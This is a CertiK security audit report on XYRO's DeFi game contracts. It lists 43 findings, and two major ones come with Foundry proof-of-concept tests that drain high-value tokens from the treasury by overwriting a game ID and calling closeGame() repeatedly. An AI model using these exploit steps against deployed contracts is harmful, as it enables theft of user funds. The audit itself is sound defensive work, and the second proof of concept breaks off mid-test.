XYRO - audits

Security Assessment

CertiK Assessed on Jan 10th, 2025

CertiK Assessed on Jan 10th, 2025

XYRO - audits

The security assessment was prepared by CertiK, the leader in Web3.0 security.

Executive Summary

TYPES
DeFi

ECOSYSTEM
Ethereum (ETH)

METHODS
Formal Verification, Manual Review, Static Analysis

LANGUAGE
Solidity

TIMELINE
Delivered on 01/10/2025

KEY COMPONENTS
N/A

CODEBASE
xyro
View All in Codebase Page

COMMITS
- 740df06eed24a04f0e739c7c6332466dc6bae295
- 0a08cfae3ad04994241553312aa406350ebb3c73
- c72c06a3c1ceb178d0c9c887fcb9afcb04e44a4e

View All in Codebase Page

Vulnerability Summary

43	34	0	1	8	0
Total Findings	Resolved	Mitigated	Partially Resolved	Acknowledged	Declined

0	Critical		Critical risks are those that impact the safe functioning of a platform and must be addressed before launch. Users should not invest in any project with outstanding critical risks.
6	Major	3 Resolved, 3 Acknowledged	Major risks can include centralization issues and logical errors. Under specific circumstances, these major risks can lead to loss of funds and/or control of the project.
11	Medium	10 Resolved, 1 Acknowledged	Medium risks may not pose a direct risk to users' funds, but they can affect the overall functioning of a platform.
20	Minor	17 Resolved, 3 Acknowledged	Minor risks can be any of the above, but on a smaller scale. They generally do not compromise the overall integrity of the project, but they may be less efficient than other solutions.
6	Informational	4 Resolved, 1 Partially Resolved, 1 Acknowledged	Informational errors are often recommendations to improve the style of the code or certain operations to fall within industry best practices. They usually do not affect the overall functioning of the code.

TABLE OF CONTENTS | XYRO - AUDITS

CODEBASE | XYRO - AUDITS

Repository

xyro

Commit

- 740df06eed24a04f0e739c7c6332466dc6bae295
- 0a08cfae3ad04994241553312aa406350ebb3c73
- c72c06a3c1ceb178d0c9c887fcb9afcb04e44a4e
- 987438a79218d81ad7df11e8a8b01e503a9a6b37

AUDIT SCOPE | XYRO - AUDITS

15 files audited ● 5 files with Acknowledged findings ● 3 files with Resolved findings ● 7 files without findings

ID	Repo	File	SHA256 Checksum
● BUL	xyro-io/smart-contracts	Bullseye.sol	19dee688f6e38de69b7353270d155b609f7d7c51955918d14606039720b6cb52
● OVO	xyro-io/smart-contracts	OneVsOneExactPrice.sol	95ad11baba70c59749b74547f36b291a77b415974b23effda8eef6b7d6f948a6
● UDB	xyro-io/smart-contracts	UpDown.sol	75a3b8453d12e23bfef6c15a2e9c5b89f554ce26a648360b0e0c5d6798d16d51
● TRE	xyro-io/smart-contracts	Treasury.sol	dddca43058061edfe064f2ec1ee2a0f6b288228436282be4c136284a34d023ba
● SET	xyro-io/smart-contracts	Setup.sol	e530bb147d748d263899f074005464a2b86a76c310f80c9ab05f97d4d1eab086
● BUS	xyro-io/smart-contracts	Bullseye.sol	faa675315c49f9c4a93d550145a30e2d0de6bcb797f3ddb4181317edad6a68aa
● UDU	xyro-io/smart-contracts	UpDown.sol	b75b7cb40733c95123e7d2cd63dca517a88a9b6acd3a38c0495d86731020a9cc
● BUE	xyro-io/smart-contracts	Bullseye.sol	22d77f6ac10f41ec4e0d81c456d4f323696f6c1385e73a7d61038999a0633a87
● OVE	xyro-io/smart-contracts	OneVsOneExactPrice.sol	c9e15818ce6483dfdd6b381d0dccd42827681e40cf62d476a880fbcc743bf660
● SEU	xyro-io/smart-contracts	Setup.sol	fcd8a14d32a1b03c74514ebd6d27cdef9ea3b174818584e12d0181f33de8d45b
● TRA	xyro-io/smart-contracts	Treasury.sol	c04200fcf0350a38a10789e638e11b8624b9fa3e1578d070adf1cad565866ede
● OVP	xyro-io/smart-contracts	OneVsOneExactPrice.sol	c90c5f9005facf616ef976fe816665de3f8841ad5e56694e9462ff68a99d139e
● SEP	xyro-io/smart-contracts	Setup.sol	234fa6daedb4788e7c1f76795f5f203413ebc35886117b87bda8aa78ea9e840c

ID	Repo	File	SHA256 Checksum
TRS	xyro-io/smart-contracts	Treasury.sol	a1aa4d8da7eb042fbf8bbb7e505ac00840bd8f3c11cbcbfafadc6f83abdb307a
UDH	xyro-io/smart-contracts	UpDown.sol	4071926c63d9c57ef15d256c498a170e81ee1b9b4df91fbfb357d36c9a1ca930

APPROACH & METHODS | XYRO - AUDITS

This report has been prepared for XYRO to discover issues and vulnerabilities in the source code of the XYRO - audits project as well as any contract dependencies that were not part of an officially recognized library. A comprehensive examination has been performed, utilizing Static Analysis and Manual Review techniques.

The auditing process pays special attention to the following considerations:

- Testing the smart contracts against both common and uncommon attack vectors.
- Assessing the codebase to ensure compliance with current best practices and industry standards.
- Ensuring contract logic meets the specifications and intentions of the client.
- Cross referencing contract structure and implementation against similar smart contracts produced by industry leaders.
- Thorough line-by-line manual review of the entire codebase by industry experts.

The security assessment resulted in findings that ranged from critical to informational. We recommend addressing these findings to ensure a high level of security standards and industry practices. We suggest recommendations that could better serve the project from the security perspective:

- Testing the smart contracts against both common and uncommon attack vectors;
- Enhance general coding practices for better structures of source codes;
- Add enough unit tests to cover the possible use cases;
- Provide more comments per each function for readability, especially contracts that are verified in public;
- Provide more transparency on privileged activities once the protocol is live.

REVIEW NOTES | XYRO - AUDITS

Overview

The **XYRO** project coordinates a series of smart contracts aimed at various onchain games. The files currently under review include:

- Bullseye.sol
- OneVsOneExactPrice.sol
- Setup.sol
- Treasury.sol
- UpDown.sol

External Dependencies

In **XYRO**, the module inherits or uses a few of the depending injection contracts or addresses to fulfill the need of its business logic. The scope of the audit treats third party entities as black boxes and assume their functional correctness. However, in the real world, third parties can be compromised and this may lead to lost or stolen assets.

Addresses

The following addresses interact at some point with specified contracts, making them an external dependency. All of the following values are initialized either at deployment time or by specific functions in smart contracts.

Bullseye

- `treasury`.

OneVsOneExactPrice

- `treasury`.

Setup

- `treasury`.

Treasury

- `xyroToken`, `upkeep`.

UpDown

- `treasury`.

We assume these contracts or addresses are valid and non-vulnerable actors and implementing proper logic to collaborate with the current project.

Also, the following library/contract are considered as the third-party dependencies:

- @openzeppelin/contracts-upgradeable/
- @openzeppelin/contracts/

Privileged Functions

In the **XYRO** project, the privileged roles are adopted to ensure the dynamic runtime updates of the project, which are specified in the `Centralization` finding.

The advantage of those privileged roles in the codebase is that the client reserves the ability to adjust the protocol according to the runtime required to best serve the community. It is also worth noting the potential drawbacks of these functions, which should be clearly stated through the client's action/plan. Additionally, if the private keys of the privileged accounts are compromised, it could lead to devastating consequences for the project.

To improve the trustworthiness of the project, dynamic runtime updates in the project should be notified to the community. Any plan to invoke the aforementioned functions should be also considered to move to the execution queue of the `Timelock` contract.

FINDINGS | XYRO - AUDITS

43	0	6	11	20	6
Total Findings	Critical	Major	Medium	Minor	Informational

This report has been prepared to discover issues and vulnerabilities for XYRO - audits. Through this audit, we have uncovered 43 issues ranging from different severity levels. Utilizing the techniques of Static Analysis & Manual Review to complement rigorous manual code reviews, we discovered the following findings:

ID	Title	Category	Severity	Status
CON-01	**Centralization Related Risks**	**Centralization**	**Major**	**Acknowledged**
OVO-01	The `createGameWithPermit` Function In `OneVsOneExactPrice` Game Does Not Check If `gameId` Exists	Logical Issue	Major	Resolved
OVO-02	Due To Lack Of Game State Check, `closeGame()` In `OneVsOneExactPrice` Can Be Called Repeatedly 3 Days After `endTime`	Logical Issue	Major	Resolved
TRE-01	**Centralized Control Of Contract Upgrade**	**Centralization**	**Major**	**Acknowledged**
TRE-09	**Centralized Withdrawal Risk**	**Centralization**	**Major**	**Acknowledged**
UDB-01	Failure To Reset `totalRakebackUp` And `totalRakebackDown` In `finalizeGame` Function	Logical Issue	Major	Resolved
BUE-01	Incorrect Calculation Of `rakeback` In `Bullseys` Contract	Logical Issue	Medium	Resolved
BUS-01	Incorrect `Rakeback` Calculation For Multiple Entries In `Bullseye` Contract	Logical Issue	Medium	Resolved
CON-02	No Cap On Fees	Logical Issue	Medium	Resolved

ID	Title	Category	Severity	Status
OVO-03	Opponent's Assets Locked On Game Closure In `closeGame` Function	Logical Issue	Medium	Resolved
SET-07	Possible Failure For Last Winner To Claim Rewards Due To Arithmetic Overflow From Precision Loss	Logical Issue	Medium	Resolved
TRE-02	Potential Incorrect Fee Calculation In `withdrawInitiatorFee` Function	Incorrect Calculation	Medium	Resolved
TRE-03	Manipulable Rakeback Calculation Based On Token Balance	Logical Issue	Medium	Acknowledged
TRE-06	Missing Minimum Deposit Requirement In `lock` Function	Logical Issue	Medium	Resolved
UDB-02	UpDown Game Finalizing Failure By Missing `isParticipating` Assignment To `msg.sender` In `playWithDeposit()` Function	Access Control	Medium	Resolved
UDB-04	Failure To Reset `totalDepositsUp` And `totalDepositsDown` In `finalizeGame` Function	Coding Issue	Medium	Resolved
UDU-01	`startingPrice` Not Set To Zero When The Game Is Invalid	Coding Issue	Medium	Resolved
BUL-01	Incorrect Handling Of Top Player Timestamps In `finalizeGame` Function	Logical Issue	Minor	Acknowledged
BUL-02	Rate Issues In Bullseye	Inconsistency	Minor	Resolved
BUL-03	Potential Duplicate Rakeback Calculation For Top Players	Logical Issue	Minor	Acknowledged
BUS-02	Inappropriate `exactRange` Value For 18 Decimal Price Precision	Volatile Code	Minor	Resolved
CON-03	Potential Game ID Collision Risk	Volatile Code	Minor	Resolved

ID	Title	Category	Severity	Status
CON-04	Missing Zero Address Validation	Volatile Code	Minor	Resolved
CON-05	Missing Deposit Amount Validation In Game Contracts	Logical Issue	Minor	Resolved
CON-09	The Unvalidated `stopPredictAt` And `feedNumber` In `startGame()`	Logical Issue	Minor	Resolved
CON-10	Price Storage Size And Price Precision Issues	Design Issue	Minor	Resolved
CON-12	Third-Party Dependency Usage	Volatile Code	Minor	Acknowledged
CON-13	Potential Insufficient Time Gap Between `stopPredictAt` And `endTime`	Logical Issue	Minor	Resolved
SET-01	Inconsistent `withdrawStatus` Update On Rakeback Withdrawal	Logical Issue	Minor	Resolved
SET-02	Lack Of End Time Validation In `Setup` Contract's Report Finalization	Inconsistency, Logical Issue	Minor	Resolved
SET-03	Weak Game State Check In `closeGame` Of `Setup` Game	Access Control	Minor	Resolved
SET-04	All Unstarted Games In `Setup` Are In The "Created" State	Coding Issue	Minor	Resolved
SET-05	Lack Of `gameId` Existence Check In `createSetup()` Of SetUp	Coding Issue	Minor	Resolved
TRE-04	Unprotected Upgradeable Contract	Logical Issue	Minor	Resolved
TRE-05	Permit Function Doesn't Comply With DAI Token	Design Issue	Minor	Resolved
TRE-10	`refundWithFee` Should Not Calculate Rakeback	Incorrect Calculation	Minor	Resolved
UDB-05	Lack Of Checks In `setStartingPrice()` In `UpDown`	Logical Issue	Minor	Resolved

ID	Title	Category	Severity	Status
CON-06	Solidity Version 0.8.23 Won't Work For All Chains Due To MCOPY	Design Issue	Informational	Resolved
CON-07	Solidity Version 0.8.20 May Not Work On Other Chains Due To `PUSH0`	Logical Issue	Informational	Resolved
CON-08	Missing Emit Events	Coding Style	Informational	Partially Resolved
CON-11	The Game's `createGame()` Function Does Not Return The `gameId` .	Design Issue	Informational	Acknowledged
SET-06	Confirmation On Execution Time Of `Setup` Game Finalization	Logical Issue	Informational	Resolved
TRE-07	Inherited Contracts Not Initialized In Initializer	Logical Issue	Informational	Resolved

CON-01 | CENTRALIZATION RELATED RISKS

Category	Severity	Location	Status
Centralization	Major	Bullseye.sol (12/03-740df0): 83, 230, 369, 417, 425, 437, 448, 466; OneVsOneExactPrice.sol (12/03-740df0): 433, 455, 564, 576, 588, 597, 606; Setup.sol (12/03-740df0): 355, 402, 740, 752, 764, 773, 783; Treasury.sol (12/03-740df0): 69, 82, 94, 146, 247, 299, 323, 346, 376, 395, 419, 437, 458, 481, 503, 567, 585, 595, 606; UpDown.sol (12/03-740df0): 66, 234, 259, 394, 447, 455, 467	Acknowledged

Description

Important Note: Certain identification procedures were attempted to be applied to the project team in order to better understand the centralization situation and potential risks of the project. We strongly advise end users to conduct further research and exercise due diligence before engaging with the project given the centralization related risks. It is crucial for end users to independently verify and assess all available information to make informed decisions.

Treasury

ACCOUNTANT_ROLE

In the contract `Treasury`, the role `ACCOUNTANT_ROLE` has authority over the functions listed below.

- withdrawFees()

Any compromise to the `ACCOUNTANT_ROLE` account may allow the hacker to take advantage of this authority and withdraw specified fees in a given token.

DEFAULT_ADMIN_ROLE

In the contract `Treasury`, the role `DEFAULT_ADMIN_ROLE` has authority over the functions listed below.

- grantRole()
- revokeRole()
- setToken()
- setSetupFee()
- withdrawFees()
- setUpkeep()
- changeMinDepositAmount()

Any compromise to the `DEFAULT_ADMIN_ROLE` account may allow the hacker to take advantage of this authority and set or unset token approval status, withdraw fees to a specified address, set the setup fee, change the minimum deposit amount, and set the upkeep address. **For example, if the `upkeep` address is not trusted, the game results could be manipulated.**

DISTRIBUTOR_ROLE

In the contract `Treasury`, the role `DISTRIBUTOR_ROLE` has authority over the functions listed below.

- setGameToken()
- depositAndLock()
- depositAndLockWithPermit()
- lock()
- refund()
- refundWithFees()
- universalDistribute()
- withdrawGameFee()
- calculateRate()
- withdrawInitiatorFee()
- distributeBullseye()
- bullseyeResetLockedAmount()
- withdrawRakebackSetup()
- setGameFinished()

Any compromise to the `DISTRIBUTOR_ROLE` account may allow the hacker to take advantage of this authority and set the game token, lock the specified amount in the game account, set the game as finished, reset the locked amount for a game ID, deposit and lock tokens with a permit, withdraw rakeback setup, deposit and lock tokens with a permit, withdraw the initiator fee, refund tokens to a specified address, distribute funds to a specified address, refund amount with fees and conditions, distribute bullseye rewards to a specified address, calculate the rate for a given game ID, and withdraw the game fee and update the collected amount.

Bullseye

DEFAULT_ADMIN_ROLE

In the contract `Bullseye`, the role `DEFAULT_ADMIN_ROLE` has authority over the functions listed below.

- grantRole()
- revokeRole()
- setMaxPlayers()
- setTreasury()
- setExactRange()

- setFee()
- setRate()

Any compromise to the `DEFAULT_ADMIN_ROLE` account may allow the hacker to take advantage of this authority and set the treasury address, set the rate for specific player configurations, set the fee to a new value, set the maximum number of players, and set the exact range.

GAME_MASTER_ROLE

In the contract `Bullseye`, the role `GAME_MASTER_ROLE` has authority over the functions listed below.

- startGame()
- finalizeGame()
- closeGame()

Any compromise to the `GAME_MASTER_ROLE` account may allow the hacker to take advantage of this authority and close the current game, finalize the game and distribute prizes, and start a new game session.

OneVsOneExactPrice

DEFAULT_ADMIN_ROLE

In the contract `OneVsOneExactPrice`, the role `DEFAULT_ADMIN_ROLE` has authority over the functions listed below.

- grantRole()
- revokeRole()
- changeGameDuration()
- setTreasury()
- setFee()
- setRefundFee()
- toggleActive()

Any compromise to the `DEFAULT_ADMIN_ROLE` account may allow the hacker to take advantage of this authority and set the treasury address, change game duration, toggle the active status, set the fee and emit event, and set the refund fee.

GAME_MASTER_ROLE

In the contract `OneVsOneExactPrice`, the role `GAME_MASTER_ROLE` has authority over the functions listed below.

- liquidateGame()
- finalizeGame()

Any compromise to the `GAME_MASTER_ROLE` account may allow the hacker to take advantage of this authority and liquidate a game if conditions are met, finalize game outcomes, and distribute rewards.

Setup

DEFAULT_ADMIN_ROLE

In the contract `Setup`, the role `DEFAULT_ADMIN_ROLE` has authority over the functions listed below.

- grantRole()
- revokeRole()
- changeGameDuration()
- setTreasury()
- setFee()
- setInitiatorFee()
- toggleActive()

Any compromise to the `DEFAULT_ADMIN_ROLE` account may allow the hacker to take advantage of this authority and toggle the active state, change the game's duration limits, set the fee and emit event, set the initiator fee, and set the treasury address.

GAME_MASTER_ROLE

In the contract `Setup`, the role `GAME_MASTER_ROLE` has authority over the functions listed below.

- closeGame()
- finalizeGame()

Any compromise to the `GAME_MASTER_ROLE` account may allow the hacker to take advantage of this authority and finalize the game based on price conditions or close the game if conditions are met.

UpDown

DEFAULT_ADMIN_ROLE

In the contract `UpDown`, the role `DEFAULT_ADMIN_ROLE` has authority over the functions listed below.

- grantRole()
- revokeRole()
- setMaxPlayers()
- setTreasury()
- setFee()

Any compromise to the `DEFAULT_ADMIN_ROLE` account may allow the hacker to take advantage of this authority and set the maximum number of players, set the fee, and set the treasury address.

GAME_MASTER_ROLE

In the contract `UpDown`, the role `GAME_MASTER_ROLE` has authority over the functions listed below.

- startGame()
- setStartingPrice()
- finalizeGame()
- closeGame()

Any compromise to the `GAME_MASTER_ROLE` account may allow the hacker to take advantage of this authority and finalize and settle the game results, close the active game and process player refunds, start a new game session, and set the starting price for the game.

Recommendation

The risk describes the current project design and potentially makes iterations to improve in the security operation and level of decentralization, which in most cases cannot be resolved entirely at the present stage. We advise the client to carefully manage the privileged account's private key to avoid any potential risks of being hacked. In general, we strongly recommend centralized privileges or roles in the protocol be improved via a decentralized mechanism or smart-contract-based accounts with enhanced security practices, e.g., multisignature wallets. Indicatively, here are some feasible suggestions that would also mitigate the potential risk at a different level in terms of short-term, long-term and permanent:

Short Term:

Timelock and Multi sign (⅔, ⅗) combination *mitigate* by delaying the sensitive operation and avoiding a single point of key management failure.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Assignment of privileged roles to multi-signature wallets to prevent a single point of failure due to the private key compromised;
  AND
- A medium/blog link for sharing the timelock contract and multi-signers addresses information with the public audience.

Long Term:

Timelock and DAO, the combination, *mitigate* by applying decentralization and transparency.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Introduction of a DAO/governance/voting module to increase transparency and user involvement.
  AND

- A medium/blog link for sharing the timelock contract, multi-signers addresses, and DAO information with the public audience.

Permanent:

Renouncing the ownership or removing the function can be considered *fully resolved*.

- Renounce the ownership and never claim back the privileged roles.
  OR
- Remove the risky functionality.

Alleviation

[CertiK, 01/07/2025]:
It is suggested to implement the aforementioned methods to avoid centralized failure. Also, it strongly encourages the project team to periodically revisit the private key security management of all addresses related to centralized roles.

We will update the finding status accordingly once the multi-signature and time-lock combination is set.

[XYRO Team, 01/08/2025]:
We created a timelock and multisig contract and created a social media page to show the community. We plan to use them in a new version of the contracts, which we will publish after the audit. Therefore, we cannot provide transactions to transfer rights to the contracts. The admin of the timelock is multisig.

https://xyro-io.gitbook.io/xyro-whitepaper/smart-contracts

[CertiK, 01/09/2025]:
We will update the finding status accordingly once the multi-signature and time-lock combination is set. Also, it strongly encourages the project team to periodically revisit the private key security management of all addresses related to centralized roles.

OVO-01 THE `createGameWithPermit` FUNCTION IN `OneVsOneExactPrice` GAME DOES NOT CHECK IF `gameId` EXISTS

Category	Severity	Location	Status
Logical Issue	Major	OneVsOneExactPrice.sol (12/03-740df0): 213~221	Resolved

Description

In this function, there is no check like the one in `createGame` and `createGameWithDeposit` where `require(games[gameId].packedData == 0, "Game exists")` is used to verify if the current `gameId` already exists.

As a result, when two `createGameWithPermit` transactions with the same `endTime` and both being public games (opponent is `address(0)`) are processed in the same block, the first created game will be overwritten by the second. Consequently, the user's bet for the first game will be locked in the contract and cannot be refunded or withdrawn through the game.

In addition, since the locked amount for the game corresponding to the `gameId` has increased before the overwrite, this can be exploited in combination with the vulnerability that allows `closeGame()` to be called multiple times. This can lead to the exchange of low-value tokens for high-value tokens.

Scenario

We assume the following scenario, where `lowToken` represents a low-value permit token and `highToken` represents a high-value permit token, both having the same precision:

1. The attacker creates a game with a bet of 400 `lowToken`, and the opponent is set to an address that will never accept the game (a precompiled contract address).
2. The attacker creates a game with the same `gameId`, overwriting the previous game, but this time the token is changed to 2 `highToken`.
3. Three days after the `endTime`, the attacker repeatedly calls `closeGame()` to withdraw 402 `highToken`.

In this case, the attacker has exchanged 400 low-value `lowToken` for 400 high-value `highToken`.

Proof of Concept

Below is the Foundry test:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

import {Test, console} from "forge-std/Test.sol";
import {Treasury} from "../contracts/Treasury.sol";
import {IDataStreamsVerifier,OneVsOneExactPrice,ITreasury} from
"../contracts/OneVsOneExactPrice.sol";
import {MockERC20Permit} from "./MockERC20.sol";
import {XyroToken} from "../contracts/XyroToken.sol";

contract OneVsOneTest is Test {

    Treasury public treasury;
    OneVsOneExactPrice public oneVsOne;
    MockERC20Permit public lowToken;
    MockERC20Permit public highToken;
    XyroToken public xyroToken;
    address public dataStreamVerifier =
address(uint160(uint256(keccak256("dataStreamVerifier"))));

    address public deployer = address(uint160(uint256(keccak256("deployer"))));
    uint256 public privateKey = uint256(keccak256("attacker"));
    address public attacker = vm.addr(privateKey);

    bytes32 private constant PERMIT_TYPEHASH =
        keccak256("Permit(address owner,address spender,uint256 value,uint256
nonce,uint256 deadline)");

    function setUp() public {
        vm.startPrank(deployer);

        lowToken = new MockERC20Permit("Tether USD","USDT",18,1000_000_000);
        highToken = new MockERC20Permit("Wrapped BTC","WBTC",18,1000_000_000);

        //Initial funding
        lowToken.transfer(attacker, 100_000 * 10 ** lowToken.decimals());
        highToken.transfer(attacker, 2 * 10 ** highToken.decimals());

        xyroToken = new XyroToken(1000_000_000 * 10 ** 18);

        //Convenience, not using proxy mode
        treasury = new Treasury();

        //treasury reserved
        lowToken.transfer(address(treasury), 1_000_000 * 10 ** lowToken.decimals());

        highToken.transfer(address(treasury), 1_000_000 * 10 **
highToken.decimals());
```

```
        treasury.initialize(address(lowToken), address(xyroToken));

        treasury.setToken(address(highToken),true);
        treasury.changeMinDepositAmount(1 * 10 **
highToken.decimals(),address(highToken));

        treasury.setUpkeep(dataStreamVerifier);

        oneVsOne = new OneVsOneExactPrice();
        oneVsOne.setTreasury(address(treasury));

        oneVsOne.grantRole(keccak256("GAME_MASTER_ROLE"), deployer);
        treasury.grantRole(keccak256("DISTRIBUTOR_ROLE"), address(oneVsOne));

        vm.stopPrank();

    }

    function test_ChangeToken() public{


        console.log("before lowToken balance:",lowToken.balanceOf(attacker) / (10 **
lowToken.decimals()));
        console.log("before highToken balance:",highToken.balanceOf(attacker) / (10
** highToken.decimals()));

        uint8 feedNumber = uint8(10);

        vm.startBroadcast(privateKey);

        lowToken.approve(address(treasury),400 * 10 ** lowToken.decimals());
        highToken.approve(address(treasury),2 * 10 ** highToken.decimals());

        vm.mockCall(dataStreamVerifier,
abi.encodeWithSelector(IDataStreamsVerifier.assetId.selector,feedNumber),
        abi.encode(bytes32("price")));

        //use wrong opponent to prevent anyone to accept game.
        //first use lowToken to enlarge locked amount
        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, attacker,
address(treasury),400 * 10 ** lowToken.decimals(), lowToken.nonces(attacker),
block.timestamp + 5 minutes));

        bytes32 hashed = lowToken.hashTypedDataV4(structHash);

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey,hashed);

        ITreasury.PermitData memory data = ITreasury.PermitData({
            deadline:block.timestamp + 5 minutes,
            v:v,
```

```
            r:r,
            s:s
        });



oneVsOne.createGameWithPermit(feedNumber,address(0x01),uint32(block.timestamp + 5
minutes),uint32(int32(10 ** 9)),400 * 10 **
lowToken.decimals(),address(lowToken),data);


        structHash = keccak256(abi.encode(PERMIT_TYPEHASH, attacker,
address(treasury), 2 * 10 ** highToken.decimals(), highToken.nonces(attacker),
block.timestamp + 5 minutes));

        hashed = highToken.hashTypedDataV4(structHash);

        (v,r,s) = vm.sign(privateKey,hashed);

        data = ITreasury.PermitData({
            deadline:block.timestamp + 5 minutes,
            v:v,
            r:r,
            s:s
        });


oneVsOne.createGameWithPermit(feedNumber,address(0x01),uint32(block.timestamp + 5
minutes),uint32(int32(10 ** 9)),2 * 10 **
highToken.decimals(),address(highToken),data);

        bytes32 gameId = keccak256(abi.encodePacked(uint32(block.timestamp + 5
minutes), block.timestamp, attacker, address(0x01)));

        //after 3 day,user can withdraw highToken much times by close game

        vm.warp(block.timestamp + 5 minutes + 3 days);

        for(uint i=0;i<201;i++){
            oneVsOne.closeGame(gameId);
        }


treasury.withdraw(treasury.deposits(address(lowToken),attacker),address(lowToken));

treasury.withdraw(treasury.deposits(address(highToken),attacker),address(highToken))
;

        vm.stopPrank();
```

```
        console.log("after lowToken balance:",lowToken.balanceOf(attacker) /  (10 **
lowToken.decimals()));
        console.log("after highToken balance:",highToken.balanceOf(attacker) /  (10
** highToken.decimals()));
    }
}
```

Additionally, the corresponding mockERC20 contract:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;


import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import {ERC20Permit} from
"@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol";

contract MockERC20 is ERC20 {

    uint8 _decimals;

    constructor(string memory name_, string memory symbol_,uint256 decimals_,uint256
amount) ERC20(name_,symbol_) {

        _decimals = uint8(decimals_);
        _mint(_msgSender(),amount * 10 ** _decimals);

    }

    function decimals() public view override returns (uint8) {
        return _decimals;
    }
}

contract MockERC20Permit is ERC20Permit {

    uint8 _decimals;

    constructor(string memory name_, string memory symbol_,uint256 decimals_,uint256
amount) ERC20(name_,symbol_) ERC20Permit(name_){

        _decimals = uint8(decimals_);
        _mint(_msgSender(),amount * 10 ** _decimals);
    }

  function hashTypedDataV4(bytes32 structHash) external view virtual returns
(bytes32) {
        return _hashTypedDataV4(structHash);
    }

    function decimals() public view override returns (uint8) {
        return _decimals;
```

```
    }
}
```

Here are the test results:

```
Ran 1 test for test/OneVsOneTest.sol:OneVsOneTest
[PASS] test_ChangeToken() (gas: 2042964)
Logs:
  before lowToken balance: 100000
  before highToken balance: 2
  after lowToken balance: 99600
  after highToken balance: 402
```

It can be seen that 400 low-value `lowToken` have been exchanged for 400 high-value `highToken`.

Recommendation

Add a `require(games[gameId].packedData == 0, "Game exists")` check in `createGameWithPermit`.

Alleviation

[XYRO, 12/25/2024]:

The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

OVO-02 DUE TO LACK OF GAME STATE CHECK, `closeGame()` IN `OneVsOneExactPrice` CAN BE CALLED REPEATEDLY 3 DAYS AFTER `endTime`

Category	Severity	Location	Status
Logical Issue	Major	OneVsOneExactPrice.sol (12/03-740df0): 408~416	Resolved

Description

In the `closeGame()` function, as long as the game state is "Created" or the current time is three days after the game's `endTime`, an attacker can call `closeGame()` to refund the initiator's deposit repeatedly:

`OneVsOneExactPrice.sol`

```
405     function closeGame(bytes32 gameId) public {
406         GameInfo memory game = decodeData(gameId);
407         require(game.initiator == msg.sender, "Wrong sender");
408         require(
409             game.gameStatus == Status.Created ||
410                 (
411                     block.timestamp > game.endTime
412                         ? block.timestamp - game.endTime >= 3 days
413                         : false
414                 ),
415             "Wrong status!"
416         );
417         ITreasury(treasury).refund(
418             games[gameId].depositAmount,
419             game.initiator,
420             gameId
421         );
422         //rewrites status
423         games[gameId].packedData2 =
424             (games[gameId].packedData2 & ~(uint256(0xFF) << 208)) |
425             (uint256(uint8(Status.Cancelled)) << 208);
426         emit ExactPriceCancelled(gameId);
427     }
```

As a result, when the current time is three days after the `endTime`, there is no need to check the game state, and the refund can be made to the initiator. This allows `closeGame()` to be called repeatedly.For games in the "started" state, repeated calls by the initiator will also "refund" the opponent's deposit amount to initiator.

In addition, when the game's lock record in treasury is large enough, the lock amount can be continuously withdrawn through this function. By combining this with the vulnerability in `createGameWithPermit`, which allows the repeated creation of a

game with the same `gameId`, low-value tokens can be exchanged for high-value tokens.

Scenario

We assume the following scenario, where `lowToken` represents a low-value permit token and `highToken` represents a high-value permit token, both having the same precision:

1. The attacker creates a game with a bet of 400 `lowToken`, and the opponent is set to an address that will never accept the game (a precompiled contract address).
2. The attacker creates a game with the same `gameId`, overwriting the previous game, but this time the token is changed to 2 `highToken`.
3. Three days after the `endTime`, the attacker repeatedly calls `closeGame()` to withdraw 402 `highToken`.

In this case, the attacker has exchanged 400 low-value `lowToken` for 400 high-value `highToken`.

Proof of Concept

Below is the Foundry test:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

import {Test, console} from "forge-std/Test.sol";
import {Treasury} from "../contracts/Treasury.sol";
import {IDataStreamsVerifier,OneVsOneExactPrice,ITreasury} from
"../contracts/OneVsOneExactPrice.sol";
import {MockERC20Permit} from "./MockERC20.sol";
import {XyroToken} from "../contracts/XyroToken.sol";

contract OneVsOneTest is Test {

    Treasury public treasury;
    OneVsOneExactPrice public oneVsOne;
    MockERC20Permit public lowToken;
    MockERC20Permit public highToken;
    XyroToken public xyroToken;
    address public dataStreamVerifier =
address(uint160(uint256(keccak256("dataStreamVerifier"))));

    address public deployer = address(uint160(uint256(keccak256("deployer"))));
    uint256 public privateKey = uint256(keccak256("attacker"));
    address public attacker = vm.addr(privateKey);

    bytes32 private constant PERMIT_TYPEHASH =
        keccak256("Permit(address owner,address spender,uint256 value,uint256
nonce,uint256 deadline)");

    function setUp() public {
        vm.startPrank(deployer);

        lowToken = new MockERC20Permit("Tether USD","USDT",18,1000_000_000);
        highToken = new MockERC20Permit("Wrapped BTC","WBTC",18,1000_000_000);

        //Initial funding
        lowToken.transfer(attacker, 100_000 * 10 ** lowToken.decimals());
        highToken.transfer(attacker, 2 * 10 ** highToken.decimals());

        xyroToken = new XyroToken(1000_000_000 * 10 ** 18);

        //Convenience, not using proxy mode
        treasury = new Treasury();

        //treasury reserved
        lowToken.transfer(address(treasury), 1_000_000 * 10 ** lowToken.decimals());

        highToken.transfer(address(treasury), 1_000_000 * 10 **
highToken.decimals());
```

```
        treasury.initialize(address(lowToken), address(xyroToken));

        treasury.setToken(address(highToken),true);
        treasury.changeMinDepositAmount(1 * 10 **
highToken.decimals(),address(highToken));

        treasury.setUpkeep(dataStreamVerifier);

        oneVsOne = new OneVsOneExactPrice();
        oneVsOne.setTreasury(address(treasury));

        oneVsOne.grantRole(keccak256("GAME_MASTER_ROLE"), deployer);
        treasury.grantRole(keccak256("DISTRIBUTOR_ROLE"), address(oneVsOne));

        vm.stopPrank();

    }

    function test_ChangeToken() public{


        console.log("before lowToken balance:",lowToken.balanceOf(attacker) / (10 **
lowToken.decimals()));
